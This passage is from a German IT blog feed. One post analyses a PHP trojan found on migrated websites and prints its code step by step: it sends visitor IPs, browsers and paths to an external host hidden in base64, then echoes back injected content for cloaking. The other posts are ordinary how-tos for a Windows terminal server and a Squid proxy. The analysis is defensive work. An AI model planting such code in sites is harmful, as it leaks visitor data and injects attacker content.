		<category><![CDATA[Virus]]></category>

		<guid isPermaLink="false">http://blog.murawski.ch/?p=4902</guid>
		<description><![CDATA[&#160;Ich habe diverse Webseiten von einem Kollegen auf einen meiner Server verschiebt. Dabei waren plötzlich diverse Seiten von einer Ladezeit von 20 Sekunden betroffen. Also habe ich ein Blick in den Source riskiert und folgenden Code gefunden, wo ich zerstückelt hier analysiere: Zuerst schaut der Code, ob er bereits einmal aufgeführt wurde, wenn nicht, startet [...]]]></description>
			<content:encoded><![CDATA[&nbsp;<p>Ich habe diverse Webseiten von einem Kollegen auf einen meiner Server verschiebt. Dabei waren plötzlich diverse Seiten von einer Ladezeit von 20 Sekunden betroffen. Also habe ich ein Blick in den Source riskiert und folgenden Code gefunden, wo ich zerstückelt hier analysiere:</p>
<pre class="brush: php; title: ; notranslate">if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;</pre>
<p>Zuerst schaut der Code, ob er bereits einmal aufgeführt wurde, wenn nicht, startet er sich selbst, sonst lässt er es.<br />
So führt sich der Code nur einmal aus.</p>
<pre class="brush: php; title: ; notranslate">// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = &quot;&quot;;</pre>
<p>Der Code ist kommentiert <img src='http://bimg2.murawski.ch/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Nett. Laut Kommentar erstellt es Statistiken von Bots.</p>
<pre class="brush: php; title: ; notranslate">if((strstr($sUserAgent, 'google') == false) // Bot comes
&amp;&amp; (strstr($sUserAgent, 'baidu') == false) &amp;&amp; (strstr($sUserAgent, 'msn') == false)
&amp;&amp; (strstr($sUserAgent, 'opera') == false) &amp;&amp; (strstr($sUserAgent, 'chrome') == false)
&amp;&amp; (strstr($sUserAgent, 'bing') == false) &amp;&amp; (strstr($sUserAgent, 'safari') == false)
&amp;&amp; (strstr($sUserAgent, 'bot') == false) &amp;&amp; (strstr($sUserAgent, 'yahoo') == false))
{</pre>
<p>Laut Kommentar, wenn ein Bot kommt, aber die Funktion macht das Gegenteil, wenn kein Bot kommt, also ein normaler User (keine opera und safari User)&#8230;<br />
<span id="more-4902"></span>
<pre class="brush: php; title: ; notranslate">if(isset($_SERVER['REMOTE_ADDR']) == true &amp;&amp;
isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics</pre>
<p>Wenn eine IP / Host von dem Aufruf gesetzt ist, also nur wirkliche Webbrowser Aufrufe, keine Cronjob oder Aufrufe vopn der Shell selbst.</p>
<pre class="brush: php; title: ; notranslate">$stCurlLink = base64_decode( 'aHR0cDovL2FkdmVjb25maXJtLmNvbS9zdGF0L3N0YXQucGhw').
'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&amp;useragent='.urlencode($sUserAgent).
'&amp;domainname='.urlencode($_SERVER['HTTP_HOST']).
'&amp;fullpath='.urlencode($_SERVER['REQUEST_URI']).'&amp;check='.isset($_GET['look']);</pre>
<p>Hier wird eine URL zusammengesetzt, zum Beispiel diese:</p>
<blockquote><p>http://adveconfirm.com/stat/stat.php?ip=62.167.118.61&#038;useragent=Google%20Chrome&#038;domainname=blog.murawski.ch&#038;fullpath=%2Ftest.php&#038;check=</p></blockquote>
<pre class="brush: php; title: ; notranslate">$stCurlHandle = curl_init( $stCurlLink );
}}</pre>
<p>Diese URL beinhaltet diverse Informationen welche dann an die Seite adveconfirm.com übermittelt wird.<br />
Die fremde Seite hat somit alle Daten der Besucher auf der eigenen Seite.<br />
So hat er die Besucher IP, der Browser wo benutzt wird und welche Domain er besucht hat.<br />
Weiterhin kann auch ein Parameter übermittelt werden an die eigene Seite, womit die fremde Seite dann mitbekommt ob es wirklich angekommen ist.</p>
<p>Per curl_init() wird die Verbindung aufgemacht zur fremden Seite.</p>
<pre class="brush: php; title: ; notranslate">if ( $stCurlHandle !== NULL )
{</pre>
<p>Hier wird geprüft ob eine Verbindung hergestellt werden konnte.</p>
<pre class="brush: php; title: ; notranslate">curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);</pre>
<p>Hier wird definiert das die fremde Seite auch Code zurück an die eigene Seite senden kann.</p>
<pre class="brush: php; title: ; notranslate">$sResult = @curl_exec($stCurlHandle); </pre>
<p>Hier wird nun endlich der Code abgeschickt und die Rückgabe abgefangen.</p>
<pre class="brush: php; title: ; notranslate">if ($sResult[0]==&quot;O&quot;)</pre>
<p>Falls das erste Zeichen der Rückgabe ein O ist, beinhaltet es ein Code zum ausführen, sonst nicht.</p>
<pre class="brush: php; title: ; notranslate">{ $sResult[0]=&quot; &quot;;</pre>
<p>Hier wird das erste Zeichen der Rückgabe gegen ein Leerzeichen ersetzt.</p>
<pre class="brush: php; title: ; notranslate">echo $sResult; // Statistic code end</pre>
<p>Hier wird die Rückgabe in die eigene Seite eingebaut. Netter Java Code oder einfach versteckte Links auf fremde Seiten.<br />
Dies nennt man BlackHat SEO, oder auch Cloaking.</p>
<pre class="brush: php; title: ; notranslate">}
curl_close($stCurlHandle);
}}</pre>
<p>Und der Abschluss.</p>
<p>Dies war eine andere Herangehensweise eines Trojaners. Anstelle alles komplett zu Verschlüsseln und zu verstecken, hat man hier ein gut lesbaren Code erhalten, jedoch hat der Programmierer Kommentare hinzugefügt um den Seiteninhaber zu täuschen.</p>
<p>Die Webseite selbst welche die Codes liefert kann per Browser auch nicht aufgerufen werden, da diese bereits gesperrt wurde im Firefox:<br />
<a href="http://blog.murawski.ch/wp-content/uploads/2012/03/Bild-20120318-000.jpg" rel="lightbox[4902]"><img src="http://blog.murawski.ch/wp-content/uploads/2012/03/Bild-20120318-000-600x312.jpg" alt="" title="Bild 20120318 000" width="600" height="312" class="alignnone size-large wp-image-4903" /></a></p>
<p>Der Trojaner war in rund 20 PHP Dateien beim gleichen User versteckt. Der Rest vom Server war clean. Ich nehme aus diesem Grund an das ein FTP Account gehackt wurde und damit das Webhosting infiziert wurde.</p>
<p>Um ein kompletten Server zu scannen, kann man folgenden Befehl verwenden:</p>
<blockquote><p>grep -e &#8216;aHR0cDovL2FkdmVjb25maXJtLmNvbS9zdGF0L3N0YXQucGhw&#8217; -R /var/www/</p></blockquote>
&copy;2011 SMu - <a href=\"http://blog.murawski.ch/\">IT Blögg</a><img src=\"http://stats.murawski.ch/piwik.php?idsite=1&rec=1\" alt=\"\" /><img src="http://feeds.feedburner.com/~r/ItBloegg/~4/Xwf42a-zoO4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.murawski.ch/2012/03/php-trojaner-von-adveconfirm/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		<feedburner:origLink>http://www.murawski.ch/2012/03/php-trojaner-von-adveconfirm/</feedburner:origLink></item>
		<item>
		<title>Terminalserver mit AD auf Windows 2008 R2</title>
		<link>http://feedproxy.google.com/~r/ItBloegg/~3/Xmg1AaUU57Y/</link>
		<comments>http://www.murawski.ch/2012/03/terminalserver-mit-ad-auf-windows-2008-r2/#comments</comments>
		<pubDate>Tue, 06 Mar 2012 10:38:15 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[HowTo]]></category>
		<category><![CDATA[Terminalserver]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://blog.murawski.ch/?p=4886</guid>
		<description><![CDATA[&#160;Eigentlich wollte ich gewisse Applikationen von überall im Internet zugreifen können ohne Probleme. Da ich nicht auf ein Remote Desktop verbinden möchte um die Applikation zu starten, sondern am liebsten nur die Applikation selbst starten (seamless genannt) musste ein Terminalserver her. Auch möchte ich ein Web Gateway einrichten, falls ich mal an einem Ort mit [...]]]></description>
			<content:encoded><![CDATA[&nbsp;<p><img class="alignright size-full wp-image-4893" title="windows2008r2" src="http://blog.murawski.ch/wp-content/uploads/2012/03/windows2008r2.png" alt="" width="257" height="84" />Eigentlich wollte ich gewisse Applikationen von überall im Internet zugreifen können ohne Probleme.</p>
<p>Da ich nicht auf ein Remote Desktop verbinden möchte um die Applikation zu starten, sondern am liebsten nur die Applikation selbst starten (seamless genannt) musste ein Terminalserver her.</p>
<p>Auch möchte ich ein Web Gateway einrichten, falls ich mal an einem Ort mit Firewall bin, dennoch auf die Applikation komme.</p>
<p>Windows 2008 R2 wurde flink installiert.<br />
<a href="http://blog.murawski.ch/wp-content/uploads/2012/03/rollen.png" rel="lightbox[4886]"><img class="alignleft size-thumbnail wp-image-4887" title="rollen" src="http://blog.murawski.ch/wp-content/uploads/2012/03/rollen-150x150.png" alt="" width="150" height="150" /></a>In den Rollen aktivieren wir die Punkte auf dem Bild. Es ist möglich das mehrere Neustarts nötig sind um alle Rollen zu installieren. Auch wird abgeraten von Active Directory und Terminalserver auf dem ein und dem selben Server zu installieren. Da ich nicht mehrere wollte, installierte ich dies auf dem gleichen Server!</p>
<p>Ist Alles installiert, erstellen wir ein brauchbares Zertifikat. Dazu müssen wir uns überlegen auf welcher Domain/URL der Webserivce und Server am Ende erreichbar sein sollte.</p>
<p>Ich habe dazu &#8220;ts.testserver&#8221; genommen. Im RD Gateway Manager klicken wir auf den Server und öffnen die Properties und wechseln zum Tab SSL Certificate. Wichtig ist das beim Name der Domainname angegeben wird!<br />
<span id="more-4886"></span><br />
Anschliessend gehen wir zum RemoteApp Manager und ändern auch dort die Digitale Signature auf das neue Zertifikat.</p>
<p>Auch im ISS unter den SSL Settings muss das entsprechende Zertifikat noch ausgewählt werden.</p>
<p><a href="http://blog.murawski.ch/wp-content/uploads/2012/03/remoteapp.png" rel="lightbox[4886]"><img class="alignleft size-thumbnail wp-image-4888" title="remoteapp" src="http://blog.murawski.ch/wp-content/uploads/2012/03/remoteapp-150x150.png" alt="" width="150" height="150" /></a>In diesem Manager erstellen wir auch gleich die Applikationen welche freigegeben werden sollten. Dies ist sehr einfach und sollte keinerlei Probleme bereiten.</p>
<p>Da auf dem Server Terminalserver und auch das AD installiert ist, sind die RDP rechte eingeschränkt auf Administratoren. Dies ist in meinem Fall störend.</p>
<p><a href="http://blog.murawski.ch/wp-content/uploads/2012/03/policy2.png" rel="lightbox[4886]"><img class="alignright size-thumbnail wp-image-4890" title="policy2" src="http://blog.murawski.ch/wp-content/uploads/2012/03/policy2-150x150.png" alt="" width="150" height="150" /></a><a href="http://blog.murawski.ch/wp-content/uploads/2012/03/policy1.png" rel="lightbox[4886]"><img class="alignright size-thumbnail wp-image-4889" title="policy1" src="http://blog.murawski.ch/wp-content/uploads/2012/03/policy1-150x150.png" alt="" width="150" height="150" /></a>Dazu starten wir das Group Policy Management und passen 2 Mal die Rechte an. Bei den Gruppen (4 Stk) muss mindestens &#8220;Administrators und Terminalserver&#8221; eingetragen sein.<br />
Ist das gemacht, gehen wir unter Ausführen und starten die CMD mit Administratorenrechten und updaten die GPO mit:</p>
<blockquote><p>gpupdate /FORCE</p></blockquote>
<p>Ist dies gemacht, müssen wir nur noch unsere User erstellen die auf den TS Zugriffe haben sollten und diese in die Gruppe Domain Users, Remote Desctop Users, Terminalserver legen.</p>
<p>Nun war nur noch ein kleineres Problem da. Die User können dann nicht nur die Apps starten, sondern sich auch auf dem Desktop per RDP direkt einloggen. Dies wollte ich nicht, also habe ich kurzerhand in die Trickkiste gegriffen.</p>
<p>Dazu erstellte ich ein Logon Skript login.bat in folgendem Verzeichnis:</p>
<blockquote><p>C:\Windows\SYSVOL\sysvol\DEINEAD\scripts</p></blockquote>
<p>mit dem Inhalt:</p>
<pre class="brush: plain; title: ; notranslate">if /I &quot;%USERNAME%&quot; == &quot;Administrator&quot; GOTO ENDE
tasklist /FI &quot;SESSIONNAME eq %SESSIONNAME%&quot;  /FI &quot;IMAGENAME eq explorer.exe&quot; &gt; %APPDATA%\tasklist.txt
for /f &quot;Tokens=3,*&quot; %%a in ('find /I /C &quot;No tasks&quot; %APPDATA%\tasklist.txt') do (
	If &quot;%%a&quot; == &quot;0&quot; (
		cd\
		cd &quot;%systemroot%&quot;\
		cd system32
		logoff.exe
	)
)
:ENDE</pre>
<p>Beim User muss dann beim Logonscript nur noch Login.bat hinterlegt werden und nach dem Anmelden wird er gleich wieder abgemeldet ohne das er dies umgehen kann. RemoteApps kann er weiterhin nutzen.</p>
<p>PS: Das Ganze kann man mit Testlizenzen aufbauen und auch 120 Tage betreiben.</p>
&copy;2011 SMu - <a href=\"http://blog.murawski.ch/\">IT Blögg</a><img src=\"http://stats.murawski.ch/piwik.php?idsite=1&rec=1\" alt=\"\" /><img src="http://feeds.feedburner.com/~r/ItBloegg/~4/Xmg1AaUU57Y" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.murawski.ch/2012/03/terminalserver-mit-ad-auf-windows-2008-r2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.murawski.ch/2012/03/terminalserver-mit-ad-auf-windows-2008-r2/</feedburner:origLink></item>
		<item>
		<title>Web Proxy mit SSL-Explorer</title>
		<link>http://feedproxy.google.com/~r/ItBloegg/~3/RtoALxT4JUA/</link>
		<comments>http://www.murawski.ch/2012/02/ssl-web-proxy/#comments</comments>
		<pubDate>Wed, 22 Feb 2012 22:54:29 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[Clamav]]></category>
		<category><![CDATA[Havp]]></category>
		<category><![CDATA[HowTo]]></category>
		<category><![CDATA[Privoxy]]></category>
		<category><![CDATA[Proxy]]></category>
		<category><![CDATA[Squid]]></category>
		<category><![CDATA[SSL-Explorer]]></category>
		<category><![CDATA[Webalizer]]></category>

		<guid isPermaLink="false">http://blog.murawski.ch/?p=4840</guid>
		<description><![CDATA[&#160;Inhaltsverzeichnis Einleitung Pre-Requisites SSL-Explorer SSL-Explorer Extensions Virenschutz, Filterregeln &#038; Squid Havp Squid Werbedomains blockieren Squid3 Cache Anonymous Proxy FTP Verbindungen Privoxy Webalizer Abschluss Danksagung Einleitung Ich möchte ein Web-Proxy welcher durch Squid3 funktioniert, Virenprüfung macht und Werbung heraus filtert. Dies damit egal wo ich mich befinde, auch mal beim Kunden hinter einer Firewall auf all [...]]]></description>
			<content:encoded><![CDATA[&nbsp;<div id='toc' class='post-4840'><div id='toc_title'>Inhaltsverzeichnis</div>
<ul><li><a href="#Einleitung">Einleitung</a></li>
<li><a href="#PreRequisites">Pre-Requisites</a></li>
<li><a href="#SSLExplorer">SSL-Explorer</a></li>
<li><a href="#SSLExplorer-Extensions">SSL-Explorer Extensions</a></li>
<li><a href="#Virenschutz-Filterregeln--Squid">Virenschutz, Filterregeln &#038; Squid</a>
<ul><li><a href="#Havp">Havp</a></li>
<li><a href="#Squid">Squid</a></li>
<li><a href="#Werbedomains-blockieren">Werbedomains blockieren</a></li>
<li><a href="#Squid3-Cache">Squid3 Cache</a></li>
<li><a href="#Anonymous-Proxy">Anonymous Proxy</a></li>
<li><a href="#FTP-Verbindungen">FTP Verbindungen</a></li></ul></li>
<li><a href="#Privoxy">Privoxy</a></li>
<li><a href="#Webalizer">Webalizer</a></li>
<li><a href="#Abschluss">Abschluss</a></li>
<li><a href="#Danksagung">Danksagung</a></li>
</ul>
</div>
<h3 id='Einleitung'>Einleitung</h3>
<p><strong>Ich möchte ein Web-Proxy welcher durch Squid3 funktioniert, Virenprüfung macht und Werbung heraus filtert. Dies damit egal wo ich mich befinde, auch mal beim Kunden hinter einer Firewall auf all meine Services zugreifen kann. So benötige ich nur eine Verbindung auf eine Webseite und kann danach Alles steuern.<br />
Selbstverständlich auch noch Statistiken für die Nutzung erstellen und veröffentlichen.</strong></p>
<p>Für den Web Proxy setze ich weiterhin die eingestaubte Lösung SSL-Explorer sein.</p>
<h3 id='PreRequisites'>Pre-Requisites</h3>
<p>Um die Pre-Requisites dazu ist Sun Java was im non-free Bereich ist, was man mit den folgenden Befehlen installiert:</p>
<pre class="brush: plain; title: ; notranslate">echo '' &gt;&gt; /etc/apt/sources.list
echo 'deb http://mirror.switch.ch/ftp/mirror/debian/ squeeze main non-free contrib' &gt;&gt; /etc/apt/sources.list
echo 'deb http://mirror.switch.ch/ftp/mirror/debian/ squeeze-updates main non-free contrib' &gt;&gt; /etc/apt/sources.list
apt-get install ant build-essential zip unzip sun-java6-bin sun-java6-jre -y</pre>
<p>Danach müssen wir noch die sun-java/jre auswählen für beide Java Möglichkeiten:</p>
<pre class="brush: plain; title: ; notranslate">update-alternatives --config java</pre>
<p>Sobald wir das eingegeben haben und mehrere Auswahlmöglichkeiten zur Verfügung stehen, kommt eine solche Liste:</p>
<blockquote><p><span style="color: #808080;"><code>There are 3 alternatives which provide `java'.<br />
Selection Alternative<br />
-----------------------------------------------<br />
1 /usr/bin/gij-4.3<br />
+ 2 /usr/lib/jvm/java-gcj/jre/bin/java<br />
* 3 /usr/lib/jvm/java-6-sun-1.6.0.26/jre/bin/java</p>
<p><span style="color: #808080;">Press enter to keep the default[*], or type selection number:</span></code></span></p></blockquote>
<p>Wie bereits gesagt, wählen wir das sun-java/jre, was in meinem Fall Nummer 3 wäre.</p>
<p>Das Ganze wiederholen wir auch für javac:</p>
<pre class="brush: plain; title: ; notranslate">update-alternatives --config javac</pre>
<h3 id='SSLExplorer'>SSL-Explorer</h3>
<p>Nun endlich können wir den SSL-Explorer installieren:<br />
<span id="more-4840"></span></p>
<pre class="brush: plain; title: ; notranslate">cd /opt
wget http://downloads.sourceforge.net/project/sslexplorer/SSL-Explorer%201.0/1.0.0_RC17/sslexplorer-1.0.0_RC17-src.zip?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fsslexplorer%2F&amp;amp;ts=1329904674&amp;amp;use_mirror=switch
unzip sslexplorer-1.0.0_RC17-src.zip*
mv sslexplorer-1.0.0_RC17 sslexplorer
cd sslexplorer
mkdir /usr/lib/jvm/java-6-sun-1.6.0.26/lib/
cp sslexplorer/sslexplorer/lib/tools.jar /usr/lib/jvm/java-6-sun-1.6.0.26/lib/
ant install</pre>
<p>Nun wird eine Aufforderung kommen, den SSL-Explorer per Webadresse zu starten und die Installation abzuschliessen. Sobald dies erledigt ist, kümmern wir uns um den Service:</p>
<pre class="brush: plain; title: ; notranslate">ant install-service
chmod 700 /opt/sslexplorer/sslexplorer/install/platforms/linux/x86/wrapper
chmod 700 /opt/sslexplorer/sslexplorer/install/platforms/linux/sslexplorer
chmod 700 /opt/sslexplorer/sslexplorer/install/platforms/linux/x86-64/wrapper
/etc/init.d/sslexplorer start</pre>
<p>Der SSL-Explorer kann nun konfiguriert werden.</p>
<h3 id='SSLExplorer-Extensions'>SSL-Explorer Extensions</h3>
<p>Es empfiehlt sich die Module nach zu installieren. Sobald man auf den Extension Manager klickt ladet die Webseite schier unendlich (ich ging Mittagessen) irgendwann wird diese aber kommen, bitte VIEL Gedult!!<br />
Ladet hier das Modul Paket runter und installiert die einzelnen ZIP Dateien über die Actions->Upload Extension Möglichkeit:<br />
<UL></p>
<li><a href='http://blog.murawski.ch/wp-content/uploads/2012/02/sslexplorer-community-update-backup-restore.zip'>sslexplorer-community-backup-restore</a></li>
<li><a href='http://blog.murawski.ch/wp-content/uploads/2012/02/sslexplorer-application-winscp.zip'>sslexplorer-application-winscp</a></li>
<li><a href='http://blog.murawski.ch/wp-content/uploads/2012/02/sslexplorer-application-ultravncproxy.zip'>sslexplorer-application-ultravnc</a></li>
<li><a href='http://blog.murawski.ch/wp-content/uploads/2012/02/sslexplorer-application-radmin.zip'>sslexplorer-application-radmin</a></li>
<li><a href='http://blog.murawski.ch/wp-content/uploads/2012/02/sslexplorer-application-putty.zip'>sslexplorer-application-putty</a></li>
<li><a href='http://blog.murawski.ch/wp-content/uploads/2012/02/sslexplorer-application-advancednativerdpwin32.zip'>sslexplorer-application-rdp</a></li>
<p></UL></p>
<h3 id='Virenschutz-Filterregeln--Squid'>Virenschutz, Filterregeln &#038; Squid</h3>
<p>Nun kümmern wir uns um den Virenschutz, die Filterregeln und den Squid3, welche wir mit folgendem Befehl installieren:</p>
<pre class="brush: plain; title: ; notranslate">apt-get install squid3 privoxy libclamav-dev clamav clamav-freshclam -y</pre>
<h4 id='Havp'>Havp</h4>
<p>Havp muss per Paket installiert werden mit folgenden Befehlen:</p>
<pre class="brush: plain; title: ; notranslate">cd /opt
wget http://archive.ubuntu.com/ubuntu/pool/universe/h/havp/havp_0.92a-2_amd64.deb
dpkg -i havp_0.92a-2_amd64.deb
apt-get -f install</pre>
<p>Ich stelle Havp noch vom Port 8080 auf 3129 um und nur localhost Verbindungen sollen akzeptiert werden:</p>
<pre class="brush: plain; title: ; notranslate">sed -i 's/# BIND_ADDRESS 127.0.0.1/BIND_ADDRESS 127.0.0.1/g' /etc/havp/havp.config
sed -i 's/# PORT 8080/PORT 3129/g' /etc/havp/havp.config
/etc/init.d/havp stop
/etc/init.d/havp start</pre>
<h4 id='Squid'>Squid</h4>
<p>Nun müssen wir noch den Privoxy hinter den Squid3 schalten mit folgendem Befehl:</p>
<pre class="brush: plain; title: ; notranslate">echo 'cache_peer 127.0.0.1 parent 8118 0 no-query no-digest no-netdb-exchange default' &gt;&gt; /etc/squid3/squid.conf
echo 'never_direct allow all' &gt;&gt; /etc/squid3/squid.conf
sed -i 's/#http_port 3128/http_port localhost:312/g' /etc/squid3/squid.conf
sed -i 's/acl SSL_ports port 443/acl SSL_ports port 443 8443/g' /etc/squid3/squid.conf
sed -i 's/acl Safe_ports port 80/acl Safe_ports port 80 8080/g' /etc/squid3/squid.conf</pre>
<h4 id='Werbedomains-blockieren'>Werbedomains blockieren</h4>
<p>Nun erzeugen wir eine Blockliste von den grössten Werbeseiten und erstellen die Blacklist:</p>
<pre class="brush: plain; title: ; notranslate">cd /opt
wget http://blog.murawski.ch/wp-content/uploads/2012/02/blocked.domains.acl
mv blocked.domains.acl /etc/squid3/blocked.domains.acl
echo &quot;## Liste aktualisiert am: `date +%y%m%d`&quot; &gt; /etc/squid3/autoblocked.domains.acl
wget -O - http://www.mvps.org/winhelp2002/hosts.txt | grep 127.0.0.1  | sed -e '2,$s/127.0.0.1[[:space:]]*//g' -e 's/#.*$//' | grep -v localhost &gt;&gt; /etc/squid3/autoblocked.domains.acl
#Hack für GMX Mailaccounts
sed -i 's/.uimserv.net/.uimserv.net.disabled/g' /etc/squid3/autoblocked.domains.acl
echo 'acl blockeddomain dstdomain &quot;/etc/squid3/blocked.domains.acl&quot;' &gt;&gt; /etc/squid3/squid.conf
echo 'acl blockeddomain2 dstdomain &quot;/etc/squid3/autoblocked.domains.acl&quot;' &gt;&gt; /etc/squid3/squid.conf
echo 'http_access deny blockeddomain' &gt;&gt; /etc/squid3/squid.conf
echo 'http_access deny blockeddomain2' &gt;&gt; /etc/squid3/squid.conf
echo 'half_closed_clients     off' &gt;&gt; /etc/squid3/squid.conf
echo 'hierarchy_stoplist cgi-bin ?' &gt;&gt; /etc/squid3/squid.conf
echo 'acl QUERY urlpath_regex cgi-bin \?' &gt;&gt; /etc/squid3/squid.conf
echo 'no_cache deny QUERY' &gt;&gt; /etc/squid3/squid.conf
echo 'no_cache deny localhost' &gt;&gt; /etc/squid3/squid.conf
echo 'no_cache deny CONNECT' &gt;&gt; /etc/squid3/squid.conf
echo 'no_cache allow all' &gt;&gt; /etc/squid3/squid.conf</pre>
<h4 id='Squid3-Cache'>Squid3 Cache</h4>
<p>Schalten den Cache (30MB) vom Proxy an und stellen ein das nur Dateien mit 43MB oder kleiner heruntergeladen werden dürfen:</p>
<pre class="brush: plain; title: ; notranslate">touch /etc/squid3/cachemgr.conf
echo 'localhost' &gt; /etc/squid3/cachemgr.conf
echo 'cache_store_log none' &gt;&gt; /etc/squid3/squid.conf
echo 'cache_dir aufs /var/spool/squid3 812 16 256' &gt;&gt; /etc/squid3/squid.conf
echo 'maximum_object_size 32768 KB' &gt;&gt; /etc/squid3/squid.conf
echo 'reply_body_max_size 43000 KB' &gt;&gt; /etc/squid3/squid.conf
echo 'pipeline_prefetch       on' &gt;&gt; /etc/squid3/squid.conf
</pre>
<h4 id='Anonymous-Proxy'>Anonymous Proxy</h4>
<p>Möchte man ein Anonymen Proxy, kann man noch folgende Einstellungen vornehmen:</p>
<pre class="brush: plain; title: ; notranslate">
echo 'forwarded_for off' &gt;&gt; /etc/squid3/squid.conf
echo 'via off' &gt;&gt; /etc/squid3/squid.conf</pre>
<h4 id='FTP-Verbindungen'>FTP Verbindungen</h4>
<p>Wer FTP auch tunneln möchte, kann folgende Einstellungen vornehmen:</p>
<pre class="brush: plain; title: ; notranslate">
echo 'acl ftp proto FTP' &gt;&gt; /etc/squid3/squid.conf
echo 'http_access allow ftp' &gt;&gt; /etc/squid3/squid.conf
echo 'ftp_passive off' &gt;&gt; /etc/squid3/squid.conf</pre>
<p>Damit auch alles Aktiv wird, müssen wir noch den Dienst neustarten:</p>
<pre class="brush: plain; title: ; notranslate">/etc/init.d/squid3 restart</pre>
<h3 id='Privoxy'>Privoxy</h3>
<p>Den Privoxy schicken wir wiederum zu Havp, um über Clamav nach Viren zu suchen:</p>
<pre class="brush: plain; title: ; notranslate">echo 'forward / 127.0.0.1:3129' &gt;&gt; /etc/privoxy/config
/etc/init.d/privoxy restart</pre>
<h3 id='Webalizer'>Webalizer</h3>
<p>Für die Statistik brauchen wir noch den Webalizer welchen wir mit folgendem Befehl installieren:</p>
<pre class="brush: plain; title: ; notranslate">apt-get install webalizer -y</pre>
<p>Damit dieser auch weiss was machen, legen wir die Config was die Logfiles auswertet und uns die Statistiken anzeigt:</p>
<pre class="brush: plain; title: ; notranslate">cd /etc/webalizer
touch webalizer-squid3.conf
echo 'LogFile /var/log/squid3/access.log' &gt;&gt; webalizer-squid3.conf
echo 'LogType squid' &gt;&gt; webalizer-squid3.conf
echo 'HistoryName webalizer.hist' &gt;&gt; webalizer-squid3.conf
echo 'Incremental yes' &gt;&gt; webalizer-squid3.conf
echo 'IncrementalName webalizer.current' &gt;&gt; webalizer-squid3.conf
echo 'ReportTitle Statistik für' &gt;&gt; webalizer-squid3.conf
echo 'HostName SSL-Explorer' &gt;&gt; webalizer-squid3.conf
echo 'PageType htm*' &gt;&gt; webalizer-squid3.conf
echo 'PageType cgi' &gt;&gt; webalizer-squid3.conf
echo 'PageType php3' &gt;&gt; webalizer-squid3.conf
echo 'PageType php' &gt;&gt; webalizer-squid3.conf
echo 'Quiet yes' &gt;&gt; webalizer-squid3.conf
echo 'TimeMe yes' &gt;&gt; webalizer-squid3.conf
echo 'CountryGraph no' &gt;&gt; webalizer-squid3.conf
echo 'TopSites 10' &gt;&gt; webalizer-squid3.conf
echo 'TopKSites 10' &gt;&gt; webalizer-squid3.conf
echo 'TopURLs 30' &gt;&gt; webalizer-squid3.conf
echo 'TopKURLs 10' &gt;&gt; webalizer-squid3.conf
echo 'TopReferrers 30' &gt;&gt; webalizer-squid3.conf
echo 'TopAgents 15' &gt;&gt; webalizer-squid3.conf
echo 'TopCountries 10' &gt;&gt; webalizer-squid3.conf
echo 'TopEntry 10' &gt;&gt; webalizer-squid3.conf
echo 'TopExit 10' &gt;&gt; webalizer-squid3.conf
echo 'TopSearch 10' &gt;&gt; webalizer-squid3.conf
echo 'TopUsers 0' &gt;&gt; webalizer-squid3.conf
echo 'AllURLs yes' &gt;&gt; webalizer-squid3.conf
echo 'HideURL *.gif' &gt;&gt; webalizer-squid3.conf
echo 'HideURL *.GIF' &gt;&gt; webalizer-squid3.conf
echo 'HideURL *.jpg' &gt;&gt; webalizer-squid3.conf
echo 'HideURL *.JPG' &gt;&gt; webalizer-squid3.conf
echo 'HideURL *.png' &gt;&gt; webalizer-squid3.conf
echo 'HideURL *.PNG' &gt;&gt; webalizer-squid3.conf
echo 'HideURL *.rar' &gt;&gt; webalizer-squid3.conf
echo 'HideURL */gateway/gateway.dll' &gt;&gt; webalizer-squid3.conf
echo 'GroupURL /cgi-bin/* CGI Scripts' &gt;&gt; webalizer-squid3.conf
echo 'GroupURL /images/* Images' &gt;&gt; webalizer-squid3.conf
echo 'GroupSite *.facebook.com' &gt;&gt; webalizer-squid3.conf
echo 'GroupSite *.google.com' &gt;&gt; webalizer-squid3.conf
echo 'GroupSite *.google.ch' &gt;&gt; webalizer-squid3.conf
echo 'GroupSite *.youtube.com' &gt;&gt; webalizer-squid3.conf
echo 'GroupSite *.swissquote.ch' &gt;&gt; webalizer-squid3.conf
echo 'GroupDomains 1' &gt;&gt; webalizer-squid3.conf
echo 'GroupShading yes' &gt;&gt; webalizer-squid3.conf
echo 'IgnoreSite localhost' &gt;&gt; webalizer-squid3.conf
echo 'IgnoreReferrer localhost' &gt;&gt; webalizer-squid3.conf
echo 'SearchEngine yahoo.com p=' &gt;&gt; webalizer-squid3.conf
echo 'SearchEngine altavista.com q=' &gt;&gt; webalizer-squid3.conf
echo 'SearchEngine google.com q=' &gt;&gt; webalizer-squid3.conf
echo 'SearchEngine eureka.com q=' &gt;&gt; webalizer-squid3.conf
echo 'SearchEngine lycos.com query=' &gt;&gt; webalizer-squid3.conf
echo 'SearchEngine hotbot.com MT=' &gt;&gt; webalizer-squid3.conf
echo 'SearchEngine msn.com MT=' &gt;&gt; webalizer-squid3.conf
echo 'SearchEngine infoseek.com qt=' &gt;&gt; webalizer-squid3.conf
echo 'SearchEngine webcrawler searchText=' &gt;&gt; webalizer-squid3.conf
echo 'SearchEngine excite search=' &gt;&gt; webalizer-squid3.conf
echo 'SearchEngine netscape.com search=' &gt;&gt; webalizer-squid3.conf
echo 'SearchEngine mamma.com query=' &gt;&gt; webalizer-squid3.conf
echo 'SearchEngine alltheweb.com query=' &gt;&gt; webalizer-squid3.conf
echo 'SearchEngine northernlight.com qr=' &gt;&gt; webalizer-squid3.conf
